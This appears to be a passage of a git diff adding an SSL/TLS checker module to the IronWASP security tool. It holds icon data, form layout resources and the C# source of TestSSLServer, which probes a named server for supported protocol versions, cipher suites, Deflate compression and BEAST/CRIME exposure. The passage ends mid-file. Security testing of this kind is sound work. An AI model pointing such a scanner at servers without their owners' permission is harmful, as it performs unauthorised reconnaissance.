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 + + + + + + + + + + + + 100 + 23 + + + 13 + 39 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + True + Microsoft Sans Serif + False + 9 + False + False + + T3V0cHV0Og== + + + + + + _outputText + + + 543 + 335 + + + 13 + 65 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + False + Both + + False + Microsoft Sans Serif + False + 8.25 + False + False + + True + + + False + Left + + + + + + + + + + _goBtn + + + 75 + 23 + + + 478 + 7 + + + True + False + True + False + + None + True + -986896 + -16777216 + + True + Microsoft Sans Serif + False + 9 + False + False + + R28= + + + exec_checks + + + + _portValue + + + 70 + 20 + + + 402 + 9 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + False + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + False + + + True + Left + NDQz + + + + + + + + _portLbl + + + 40 + 23 + + + 366 + 9 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + True + Microsoft Sans Serif + False + 9 + False + False + + UG9ydDo= + + + + + + _hostNameValue + + + 265 + 20 + + + 94 + 9 + + + True + False + True + False + + None + True + -1 + -16777216 + Fixed3D + False + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + False + + + True + Left + ZS5nLiBpcm9ud2FzcC5vcmc= + + + + + + + + _hostNameLbl + + + 76 + 23 + + + 12 + 9 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + True + Microsoft Sans Serif + False + 9 + False + False + + SG9zdG5hbWU6 + + + + + + + + + + 8 + 8 + + + 20 + 0 + + + True + False + True + False + + None + True + -986896 + -16777216 + None + + False + Microsoft Sans Serif + False + 8.25 + False + False + + + + + + + + + \ No newline at end of file diff --git a/Iron/bin/Debug/modules/SSLSecurityChecker/TestSSLServer.cs b/Iron/bin/Debug/modules/SSLSecurityChecker/TestSSLServer.cs new file mode 100644 index 0000000..03c977c --- /dev/null +++ b/Iron/bin/Debug/modules/SSLSecurityChecker/TestSSLServer.cs @@ -0,0 +1,1705 @@ +/* + * Command-line tool to test a SSL/TLS server for some vulnerabilities. + * ===================================================================== + * + * This application connects to the provided SSL/TLS server (by name and + * port) and extracts the following information: + * - supported versions (SSL 2.0, SSL 3.0, TLS 1.0 to 1.2) + * - support of Deflate compression + * - list of supported cipher suites (for each protocol version) + * - BEAST/CRIME vulnerabilities. + * + * BEAST and CRIME are client-side attack, but the server can protect the + * client by refusing to use the feature combinations which can be + * attacked. For CRIME, the weakness is Deflate compression. For BEAST, + * the attack conditions are more complex: it works with CBC ciphers with + * SSL 3.0 and TLS 1.0. Hence, a server fails to protect the client against + * BEAST if it does not enforce usage of RC4 over CBC ciphers under these + * protocol versions, if given the choice. + * + * (The BEAST test considers only the cipher suites with strong + * encryption; if the server supports none, then there are bigger + * problems. We also assume that all clients support RC4-128; thus, the + * server protects the client if it selects RC4-128 even if some strong + * CBC-based ciphers are announced as supported by the client with a + * higher preference level.) + * + * ---------------------------------------------------------------------- + * Copyright (c) 2012 Thomas Pornin + * + * Permission is hereby granted, free of charge, to any person obtaining + * a copy of this software and associated documentation files (the + * "Software"), to deal in the Software without restriction, including + * without limitation the rights to use, copy, modify, merge, publish, + * distribute, sublicense, and/or sell copies of the Software, and to + * permit persons to whom the Software is furnished to do so, subject to + * the following conditions: + * + * The above copyright notice and this permission notice shall be + * included in all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS + * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN + * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN + * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * ---------------------------------------------------------------------- + */ + +using System; +using System.Collections.Generic; +using System.IO; +using System.Net.Sockets; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Text; + +namespace TestSSLServer +{ + + public class TestSSLServer + { + + //static void Usage() + //{ + // Console.WriteLine("usage: TestSSLServer servername [ port ]"); + // Environment.Exit(1); + //} + + //static void Main(string[] args) + //{ + // try + // { + // RunChecks(args); + // } + // catch (Exception e) + // { + // Console.WriteLine(e.ToString()); + // Environment.Exit(1); + // } + //} + public delegate void OutputMessageEvent(string Output); + + public event OutputMessageEvent OutputMessage; //remove static + + public bool OutputEventSet + { + get + { + if (OutputMessage == null) + { + return false; + } + else + { + return true; + } + } + } + + public void DebugOutput(string Output) + { + if (OutputMessage != null) + { + try + { + OutputMessage(Output+"\n"); + } + catch + { } + } + } + + bool InitDone = false; + + public string RunChecks(string name, string sslport ) + { + if (!InitDone) + { + InitCipherSuites(); + } + InitDone = true; + //if (args.Length == 0 || args.Length > 2) + //{ + // Usage(); + //} + //string name = args[0]; + + StringBuilder output = new StringBuilder(); + + int port = Int32.Parse(sslport); + //if (args.Length == 2) + //{ + // try + // { + // port = Int32.Parse(args[1]); + // } + // catch (Exception) + // { + // //Usage(); + // } + // if (port <= 0 || port > 65535) + // { + // //Usage(); + // } + //} + + IDictionary sv = new SortedDictionary(); + bool compress = false; + + /* SSL_PROTOCOL_VERSION_SSL3 = 0x0300 + * SSL_PROTOCOL_VERSION_TLS1 = 0x0301 + * SSL_PROTOCOL_VERSION_TLS1_1 = 0x0302 + * SSL_PROTOCOL_VERSION_TLS1_2 = 0x0303 + */ + string protoVersion; + + for (int v = 0x0300; v <= 0x0303; v++) + { + switch (v) + { + case 0x0300: + protoVersion = "SSL v3.0"; + break; + case 0x0301: + protoVersion = "TLS v1.0"; + break; + case 0x0302: + protoVersion = "TLS v1.1"; + break; + case 0x0303: + protoVersion = "TLS v1.2"; + break; + default: + protoVersion = ""; + break; + } + + DebugOutput("[+INFO] Sending ServerHello for " + protoVersion); + + ServerHello sh = Connect(name, port, v, CIPHER_SUITES.Keys); + + if (sh == null) + { + DebugOutput("[+INFO] Server did not respond for " + protoVersion); + continue; + } + + AddToSet(sv, sh.protoVersion); + if (sh.compression == 1) + { + compress = true; + DebugOutput("[+FINDING] Server supports Deflate compression and may be vulnerable to CRIME attack"); + } + } + + DebugOutput("[+INFO] Sending ServerHello for SSL v2.0"); + ServerHelloSSLv2 sh2 = ConnectV2(name, port); + if (sh2 != null) + { + AddToSet(sv, 0x0200); + } + + if (sv.Count == 0) + { + output.AppendLine("No SSL/TLS server at " + name + ":" + port); + //Environment.Exit(1); + return output.ToString(); + } + + output.AppendLine("Supported versions:"); + foreach (int v in sv.Keys) + { + output.Append(" "); + output.Append(VersionString(v)); + DebugOutput("[+FINDING] Server Supports " + VersionString(v)); + } + output.AppendLine(""); + output.AppendLine("Deflate compression: " + (compress ? "YES" : "no")); + + output.AppendLine("Supported cipher suites (ORDER IS NOT SIGNIFICANT):"); + IDictionary lastSuppCS = null; + IDictionary> suppCS = new SortedDictionary>(); + IDictionary certID = new SortedDictionary(); + + if (sh2 != null) + { + output.AppendLine(" " + VersionString(0x0200)); + IDictionary vc2 = new SortedDictionary(); + foreach (int c in sh2.cipherSuites) + { + AddToSet(vc2, c); + } + foreach (int c in vc2.Keys) + { + output.AppendLine(" " + CipherSuiteString(c)); + } + suppCS.Add(0x0200, vc2); + if (sh2.serverCertName != null) + { + AddToSet(certID, sh2.serverCertHash + ": " + sh2.serverCertName); + } + } + + foreach (int v in sv.Keys) + { + if (v == 0x0200) + { + continue; + } + IDictionary vsc = SupportedSuites(name, port, v, certID); + suppCS.Add(v, vsc); + if (!SameSetInt(lastSuppCS, vsc)) + { + output.AppendLine(" " + VersionString(v)); + foreach (int c in vsc.Keys) + { + output.AppendLine(" " + CipherSuiteString(c)); + //DebugOutput("[+FINDING] For " + VersionString(v) + " " + CipherSuiteString(c) + " Cipher supported "); + } + lastSuppCS = vsc; + } + else + { + output.AppendLine(" (" + VersionString(v) + ": idem)"); + } + } + output.AppendLine("----------------------"); + if (certID.Count == 0) + { + output.AppendLine("No server certificate !"); + } + else + { + output.AppendLine("Server certificate(s):"); + foreach (string cc in certID.Keys) + { + output.AppendLine(" " + cc); + } + } + output.AppendLine("----------------------"); + int agMaxStrength = STRONG; + int agMinStrength = STRONG; + bool vulnBEAST = false; + foreach (int v in sv.Keys) + { + IDictionary vsc = suppCS[v]; + agMaxStrength = Math.Min( + MaxStrength(vsc), agMaxStrength); + agMinStrength = Math.Min( + MinStrength(vsc), agMinStrength); + if (!vulnBEAST) + { + vulnBEAST = TestBEAST(name, port, v, vsc); + DebugOutput((vulnBEAST ? "[+FINDING] Server appears to be vulnerable to BEAST attack as it supports CBC mode ciphers" + : "[+INFO] Server does not appear to be vulnerable to BEAST attack")); + } + } + output.AppendLine("Minimal encryption strength: " + + StrengthString(agMinStrength)); + output.AppendLine("Achievable encryption strength: " + + StrengthString(agMaxStrength)); + output.AppendLine("BEAST status: " + + (vulnBEAST ? "vulnerable" : "protected")); + output.AppendLine("CRIME status: " + + (compress ? "vulnerable" : "protected")); + //Console.WriteLine(output.ToString()); + return output.ToString(); + } + + void AddToSet(IDictionary s, T val) + { + if (!s.ContainsKey(val)) + { + s.Add(val, 0); + } + } + + bool IsInSet(IDictionary s, T val) + { + return s.ContainsKey(val); + } + + bool SameSetInt( + IDictionary s1, IDictionary s2) + { + if (s1 == s2) + { + return true; + } + if (s1 == null || s2 == null) + { + return false; + } + if (s1.Count != s2.Count) + { + return false; + } + foreach (int k in s1.Keys) + { + if (!s2.ContainsKey(k)) + { + return false; + } + } + return true; + } + + /* + * Get cipher suites supported by the server. This is done by + * repeatedly contacting the server, each time removing from our + * list of supported suites the suite which the server just + * selected. We keep on until the server can no longer respond + * to us with a ServerHello. + */ + IDictionary SupportedSuites( + string name, int port, int version, + IDictionary serverCertID) + { + IDictionary cs = new SortedDictionary(); + foreach (int k in CIPHER_SUITES.Keys) + { + AddToSet(cs, k); + } + IDictionary rs = new SortedDictionary(); + for (; ; ) + { + ServerHello sh = Connect(name, port, version, cs.Keys); + if (sh == null) + { + break; + } + + if (!IsInSet(cs, sh.cipherSuite)) + { + DebugOutput(String.Format("[ERR: server wants to use" + + " cipher suite 0x{0:X4} which client" + + " did not announce]", sh.cipherSuite)); + break; + } + cs.Remove(sh.cipherSuite); + AddToSet(rs, sh.cipherSuite); + + if (version == 0x0200) + { + DebugOutput("[+FINDING] Cipher " + CipherSuiteStringV2(sh.cipherSuite) + " is supported for " + VersionString(version)); + } + else + { + DebugOutput("[+FINDING] Cipher " + CipherSuiteString(sh.cipherSuite) + " is supported for " + VersionString(version)); + } + + if (sh.serverCertName != null) + { + AddToSet(serverCertID, sh.serverCertHash + ": " + sh.serverCertName); + } + } + return rs; + } + + int MinStrength(IDictionary supp) + { + int m = STRONG; + foreach (int suite in supp.Keys) + { + CipherSuite cs = CIPHER_SUITES[suite]; + if (cs == null) + { + continue; + } + if (cs.strength < m) + { + m = cs.strength; + } + } + return m; + } + + int MaxStrength(IDictionary supp) + { + int m = CLEAR; + foreach (int suite in supp.Keys) + { + CipherSuite cs = CIPHER_SUITES[suite]; + if (cs == null) + { + continue; + } + if (cs.strength > m) + { + m = cs.strength; + } + } + return m; + } + + bool TestBEAST(string name, int port, int version, IDictionary supp) + { + DebugOutput("[+INFO] Testing if the server is vulnerable to BEAST attack"); + /* + * TLS 1.1+ is not vulnerable to BEAST. + * We do not test SSLv2 either. + */ + if (version < 0x0300 || version > 0x0301) + { + return false; + } + + /* + * BEAST attack works if the server allows the client to + * use a CBC cipher. Existing clients also supports RC4, + * so we consider that a server protects the clients if + * it chooses RC4 over CBC streams when given the choice. + * We only consider strong cipher suites here. + */ + IList strongCBC = new List(); + IList strongStream = new List(); + foreach (int suite in supp.Keys) + { + CipherSuite cs = CIPHER_SUITES[suite]; + if (cs == null) + { + continue; + } + if (cs.strength < STRONG) + { + continue; + } + if (cs.isCBC) + { + strongCBC.Add(suite); + } + else + { + strongStream.Add(suite); + } + } + if (strongCBC.Count == 0) + { + return false; + } + if (strongStream.Count == 0) + { + return true; + } + IList ns = new List(); + foreach (int suite in strongCBC) + { + ns.Add(suite); + } + foreach (int suite in strongStream) + { + ns.Add(suite); + } + ServerHello sh = Connect(name, port, version, ns); + return CIPHER_SUITES[sh.cipherSuite].isCBC; + } + + string VersionString(int version) + { + if (version == 0x0200) + { + return "SSLv2"; + } + else if (version == 0x0300) + { + return "SSLv3"; + } + else if (((uint)version >> 8) == 0x03) + { + return "TLSv1." + ((version & 0xFF) - 1); + } + else + { + return String.Format( + "UNKNOWN_VERSION:0x{0:X4}", version); + } + } + + /* + * Connect to the server, send a ClientHello, and decode the + * response (ServerHello). On error, null is returned. + */ + ServerHello Connect(string name, int port, int version, ICollection cipherSuites) + { + NetworkStream ns = null; + try + { + try + { + TcpClient tc = new TcpClient(name, port); + ns = tc.GetStream(); + } + catch (Exception e) + { + DebugOutput("could not connect to " + name + ":" + port); + DebugOutput(e.ToString()); + return null; + } + byte[] ch = MakeClientHello(version, cipherSuites); + SSLRecord rec = new SSLRecord(ns); + rec.SetOutType(M.HANDSHAKE); + rec.SetOutVersion(version); + rec.Write(ch); + rec.Flush(); + return new ServerHello(rec); + } + catch (Exception) + { + // ignored + } + finally + { + try + { + if (ns != null) + { + ns.Close(); + } + } + catch (Exception) + { + // ignored + } + } + return null; + } + + /* + * Connect to the server, send a SSLv2 CLIENT-HELLO, and decode + * the response (SERVER-HELLO). On error, null is returned. + */ + ServerHelloSSLv2 ConnectV2(string name, int port) + { + NetworkStream ns = null; + try + { + try + { + TcpClient tc = new TcpClient(name, port); + ns = tc.GetStream(); + } + catch (Exception e) + { + DebugOutput("could not connect to " + name + ":" + port); + DebugOutput(e.ToString()); + return null; + } + ns.Write(M.SSL2_CLIENT_HELLO, 0, M.SSL2_CLIENT_HELLO.Length); + return new ServerHelloSSLv2(ns); + } + catch (Exception) + { + // ignored + } + finally + { + try + { + if (ns != null) + { + ns.Close(); + } + } + catch (Exception) + { + // ignored + } + } + return null; + } + + readonly 